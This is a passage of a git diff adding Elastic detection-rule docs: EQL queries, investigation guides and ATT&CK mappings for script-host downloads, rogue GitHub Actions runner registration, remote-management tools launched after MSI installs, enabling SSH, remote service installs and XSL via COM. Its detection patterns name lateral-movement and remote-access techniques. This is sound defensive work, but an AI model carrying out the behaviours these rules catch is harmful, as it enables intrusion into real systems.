+==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id + [network where host.os.type == "windows" and process.name : ("wscript.exe", "cscript.exe") and network.protocol != "dns" and + network.direction : ("outgoing", "egress") and network.type == "ipv4" and destination.ip != "127.0.0.1" + ] + [file where host.os.type == "windows" and event.type == "creation" and + file.extension : ("exe", "dll", "bat", "cmd", "ps1", "vbs", "vbe", "js", "jse", "wsh", "wsf", "sct", "hta", "scr", "pif", "com", "cpl")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-github-actions-runner-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-github-actions-runner-registration.asciidoc new file mode 100644 index 0000000000..35d6070c1c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-github-actions-runner-registration.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-remote-github-actions-runner-registration]] +=== Remote GitHub Actions Runner Registration + +This rule detects the configuration of a GitHub Actions self-hosted runner using the Runner.Listener binary. When a machine is registered to a remote repository, its owner gains the ability to execute arbitrary workflow commands on that host. Unexpected or unauthorized runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote GitHub Actions Runner Registration* + + +Unexpected or unauthorized Github actions runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. + + +*Possible investigation steps* + + +- Review the remote repository details and reputation. +- Examine the remote repository for any suspicious workflows run commands in the `.github/workflows` folder. +- Examine the execution context like process tree, associated network and file activities. +- Verify if there is adjascent any sensitive file access or collection. +- Correlate with other alerts and investiguate if this activity is related to a supply chain attack. + + +*False positive analysis* + + +- Authorized configuration changes. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the registered Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("Runner.Listener", "Runner.Listener.exe") and + process.args == "configure" and process.args == "--url" and process.args == "--token" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-management-access-launch-after-msi-install.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-management-access-launch-after-msi-install.asciidoc new file mode 100644 index 0000000000..96ac1db152 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-management-access-launch-after-msi-install.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-20-remote-management-access-launch-after-msi-install]] +=== Remote Management Access Launch After MSI Install + +Detects an MSI installer execution followed by the execution of commonly abused Remote Management Software like ScreenConnect. This behavior may indicate abuse where an attacker triggers an MSI install then connects via a guest link with a known session key. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Data Source: Windows Security Event Logs +* Data Source: Elastic Endgame + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Management Access Launch After MSI Install* + + +This rule fires when the same host runs msiexec with an install argument (/i) and within one minute starts a pre-configured RMM software. + + +*Possible investigation steps* + + +- Confirm the sequence on the host: first event should be msiexec.exe with process.args containing "/i"; second should be a remote management software. +- Review the source of the MSI file using file events. +- Check whether use of RMM software is approved for this host. +- Check network events to validate which remote host the RMM software connects to. +- Correlate with other alerts for the same host (initial access, persistence, C2). + + +*False positive analysis* + + +- Legitimate IT/MSP deployment of RMM for support. + + +*Response and remediation* + + +- If unauthorized RMM use or abuse is confirmed: isolate the host, terminate the ScreenConnect client, remove or block the installation, and investigate how the MSI was delivered and who operates the relay. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "msiexec.exe" and + process.args : ("/i*", "-i*") and process.parent.name : ("explorer.exe", "sihost.exe")] + [process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "ScreenConnect.ClientService.exe" and process.command_line : "*?e=Access&y=Guest&h*&k=*") or + (process.name : "Syncro.Installer.exe" and process.args : "--config-json" and process.args : "--key") or + process.name : ("tvnserver.exe", "winvnc.exe") + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-ssh-login-enabled-via-systemsetup-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-ssh-login-enabled-via-systemsetup-command.asciidoc new file mode 100644 index 0000000000..5152c7caa0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-ssh-login-enabled-via-systemsetup-command.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-remote-ssh-login-enabled-via-systemsetup-command]] +=== Remote SSH Login Enabled via systemsetup Command + +Detects use of the systemsetup command to enable remote SSH Login. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf +* https://ss64.com/osx/systemsetup.html +* https://support.apple.com/guide/remote-desktop/about-systemsetup-apd95406b8d/mac + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote SSH Login Enabled via systemsetup Command* + + +The `systemsetup` command in macOS is a utility that allows administrators to configure system settings, including enabling remote SSH login, which facilitates remote management and access. Adversaries may exploit this to gain unauthorized access and move laterally within a network. The detection rule identifies suspicious use of `systemsetup` to enable SSH, excluding legitimate administrative tools, by monitoring process execution patterns and arguments. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the systemsetup command with the arguments "-setremotelogin" and "on" to ensure the alert is not a false positive. +- Check the parent process of the systemsetup command to identify if it was executed by a known administrative tool or script, excluding /usr/local/jamf/bin/jamf as per the rule. +- Investigate the user account associated with the process execution to determine if it is a legitimate administrator or a potentially compromised account. +- Examine recent login events and SSH access logs on the host to identify any unauthorized access attempts or successful logins following the enabling of remote SSH login. +- Correlate this event with other security alerts or logs from the same host or network segment to identify potential lateral movement or further malicious activity. + + +*False positive analysis* + + +- Legitimate administrative tools like Jamf may trigger this rule when enabling SSH for authorized management purposes. To handle this, ensure that the process parent executable path for Jamf is correctly excluded in the detection rule. +- Automated scripts used for system configuration and maintenance might enable SSH as part of their routine operations. Review these scripts and, if verified as safe, add their parent process paths to the exclusion list. +- IT support activities that require temporary SSH access for troubleshooting can also cause false positives. Document these activities and consider scheduling them during known maintenance windows to reduce alerts. +- Security software or management tools that periodically check or modify system settings could inadvertently trigger this rule. Identify these tools and exclude their specific process paths if they are confirmed to be non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious or unauthorized SSH sessions that are currently active on the affected system. +- Review and revoke any unauthorized SSH keys or credentials that may have been added to the system. +- Conduct a thorough examination of the system logs to identify any additional unauthorized activities or changes made by the adversary. +- Restore the system to a known good state from a backup taken before the unauthorized SSH access was enabled, if possible. +- Implement network segmentation to limit SSH access to only trusted administrative systems and users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "systemsetup" and + process.args like~ "-setremotelogin" and + process.args like~ "on" and + process.parent.executable != null and + not process.parent.executable like ("/usr/local/jamf/bin/jamf", "/usr/libexec/xpcproxy", "/usr/bin/sudo") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-windows-service-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-windows-service-installed.asciidoc new file mode 100644 index 0000000000..d2de593b69 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-windows-service-installed.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-remote-windows-service-installed]] +=== Remote Windows Service Installed + +Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators." + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Persistence +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote Windows Service Installed* + + +Windows services are crucial for running background processes. Adversaries exploit this by installing services remotely to maintain persistence or move laterally within a network. The detection rule identifies suspicious service installations following a network logon, excluding known legitimate services, to flag potential unauthorized activities. This helps in identifying and mitigating threats early. + + +*Possible investigation steps* + + +- Review the source IP address from the authentication event to determine if it is from a known or trusted network segment. Investigate any unfamiliar or suspicious IP addresses. +- Check the winlog.logon.id to correlate the logon session with the service installation event, ensuring they are part of the same session. +- Investigate the user account associated with the logon session to determine if the activity aligns with their typical behavior or role within the organization. +- Examine the service file path from the service-installed event to identify if it is a known or legitimate application. Pay special attention to any paths not excluded in the query. +- Look into the history of the computer where the service was installed (winlog.computer_name) for any previous suspicious activities or alerts. +- Assess the timing and frequency of similar events to determine if this is an isolated incident or part of a broader pattern of suspicious behavior. + + +*False positive analysis* + + +- Administrative activities can trigger false positives when administrators frequently install or update services remotely. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff. +- Legitimate software installations or updates may appear as suspicious service installations. Maintain an updated list of authorized software paths and exclude these from the detection rule. +- Automated deployment tools like PDQ Deploy or Veeam Backup can cause false positives. Identify and exclude the service paths associated with these tools to reduce noise. +- Scheduled tasks that install or update services as part of routine maintenance can be mistaken for threats. Document and exclude these tasks from the rule to prevent unnecessary alerts. +- Internal security tools that perform regular checks or updates may also trigger alerts. Ensure these tools are recognized and their service paths are excluded from the detection criteria. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools. +- Terminate any unauthorized services identified by the alert to stop any malicious processes from running. Use task management tools or command-line utilities to stop and disable these services. +- Conduct a thorough review of recent logon events and service installations on the affected system to identify any additional unauthorized activities or compromised accounts. +- Change passwords for any accounts that were used in the unauthorized service installation, especially if they have administrative privileges, to prevent further unauthorized access. +- Restore the affected system from a known good backup if any malicious changes or persistence mechanisms are detected that cannot be easily remediated. +- Implement network monitoring and alerting for similar suspicious activities, such as unexpected service installations or network logons, to enhance detection and response capabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.logon.id, winlog.computer_name with maxspan=1m +[authentication where host.os.type == "windows" and event.action == "logged-in" and winlog.logon.type : "Network" and + event.outcome == "success" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1"] +[iam where host.os.type == "windows" and event.action == "service-installed" and + not winlog.event_data.SubjectLogonId : "0x3e7" and + not winlog.event_data.ServiceFileName : + ("?:\\Windows\\ADCR_Agent\\adcrsvc.exe", + "?:\\Windows\\System32\\VSSVC.exe", + "?:\\Windows\\servicing\\TrustedInstaller.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Windows\\PSEXESVC.EXE", + "?:\\Windows\\System32\\sppsvc.exe", + "?:\\Windows\\System32\\wbem\\WmiApSrv.exe", + "?:\\WINDOWS\\RemoteAuditService.exe", + "?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe", + "?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe", + "?:\\Windows\\CAInvokerService.exe", + "?:\\Windows\\System32\\upfc.exe", + "?:\\Windows\\AdminArsenal\\PDQ*.exe", + "?:\\Windows\\System32\\vds.exe", + "?:\\Windows\\Veeam\\Backup\\VeeamDeploymentSvc.exe", + "?:\\Windows\\ProPatches\\Scheduler\\STSchedEx.exe", + "?:\\Windows\\System32\\certsrv.exe", + "?:\\Windows\\eset-remote-install-service.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Pella Corporation\\OSCToGPAutoService\\OSCToGPAutoSvc.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Windows\\SysWOW64\\NwxExeSvc\\NwxExeSvc.exe", + "?:\\Windows\\System32\\taskhostex.exe")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-xsl-script-execution-via-com.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-xsl-script-execution-via-com.asciidoc new file mode 100644 index 0000000000..f85e3ab3ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-xsl-script-execution-via-com.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-remote-xsl-script-execution-via-com]] +=== Remote XSL Script Execution via COM + +Identifies the execution of a hosted XSL script using the Microsoft.XMLDOM COM interface via Microsoft Office processes. This behavior may indicate adversarial activity to execute malicious JScript or VBScript on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote XSL Script Execution via COM* + + +The Microsoft.XMLDOM COM interface allows applications to parse and transform XML documents using XSL scripts. Adversaries exploit this by embedding malicious scripts in Office documents, triggering execution via Office processes like Word or Excel. The detection rule identifies suspicious activity by monitoring for the loading of specific DLLs and the execution of unexpected child processes, indicating potential script execution attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific Office process (e.g., winword.exe, excel.exe) that triggered the alert and note the process entity ID for further investigation. +- Check the process tree to identify any unexpected child processes spawned by the Office application, focusing on those not matching typical system executables like WerFault.exe or conhost.exe. +- Investigate the loaded DLLs, specifically msxml3.dll, to confirm its legitimate use and check for any anomalies or unusual patterns in its loading sequence. +- Analyze the parent and child process relationships to determine if the execution flow aligns with typical user activity or if it suggests malicious behavior. +- Gather additional context by reviewing recent user activity and document interactions to identify any potential phishing attempts or suspicious document handling that could have led to the alert. +- Correlate the findings with other security events or alerts in the environment to assess if this activity is part of a broader attack pattern or isolated incident. + + +*False positive analysis* + + +- Legitimate use of Microsoft Office applications for XML processing can trigger the rule. Users should identify and whitelist known applications or scripts that regularly perform XML transformations using the Microsoft.XMLDOM COM interface. +- Automated document processing systems that utilize Office applications to handle XML data might cause false positives. Exclude these systems by specifying their process names or executable paths in the detection rule. +- Software updates or installations that involve Office applications may load the msxml3.dll and start child processes. Temporarily disable the rule during scheduled maintenance or update windows to prevent false alerts. +- Custom Office add-ins or macros that interact with XML files could be misidentified as threats. Review and approve these add-ins, then adjust the rule to exclude their specific behaviors. +- Regular business processes that involve document conversion or data extraction using Office tools might be flagged. Document these processes and create exceptions based on their unique characteristics, such as specific file paths or process names. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the malicious script execution. +- Terminate any suspicious processes identified as child processes of Office applications, such as winword.exe or excel.exe, that are not part of the standard executable paths. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious scripts or files. +- Review and restore any altered or deleted files from secure backups to ensure data integrity and system functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement application whitelisting to restrict the execution of unauthorized scripts and executables, particularly those not located in standard directories. +- Enhance monitoring and alerting for similar activities by ensuring that the detection rule is actively deployed and that alerts are configured to notify the appropriate personnel promptly. + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [library where host.os.type == "windows" and dll.name : "msxml3.dll" and + process.name : ("winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe")] by process.entity_id + [process where host.os.type == "windows" and event.action == "start" and + process.parent.name : ("winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe") and + not process.executable : + ("?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWoW64\\WerFault.exe", + "?:\\windows\\splwow64.exe", + "?:\\Windows\\System32\\conhost.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*exe")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remotely-started-services-via-rpc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remotely-started-services-via-rpc.asciidoc new file mode 100644 index 0000000000..f525951561 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remotely-started-services-via-rpc.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-remotely-started-services-via-rpc]] +=== Remotely Started Services via RPC + +Identifies remote execution of Windows services over remote procedure call (RPC). This could be indicative of lateral movement, but will be noisy if commonly done by administrators. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/705b624a-13de-43cc-b8a2-99573da3635f +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remotely Started Services via RPC* + + +The Service Control Manager Remote Protocol is a client/server protocol used for configuring and controlling service programs running on a remote computer. A remote service management session begins with the client initiating the connection request to the server. If the server grants the request, the connection is established. The client can then make multiple requests to modify, query the configuration, or start and stop services on the server by using the same session until the session is terminated. + +This rule detects the remote creation or start of a service by correlating a `services.exe` network connection and the spawn of a child process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Review login events (e.g., 4624) in the alert timeframe to identify the account used to perform this action. Use the `source.address` field to help identify the source system. +- Review network events from the source system using the source port identified on the alert and try to identify the program used to initiate the action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- 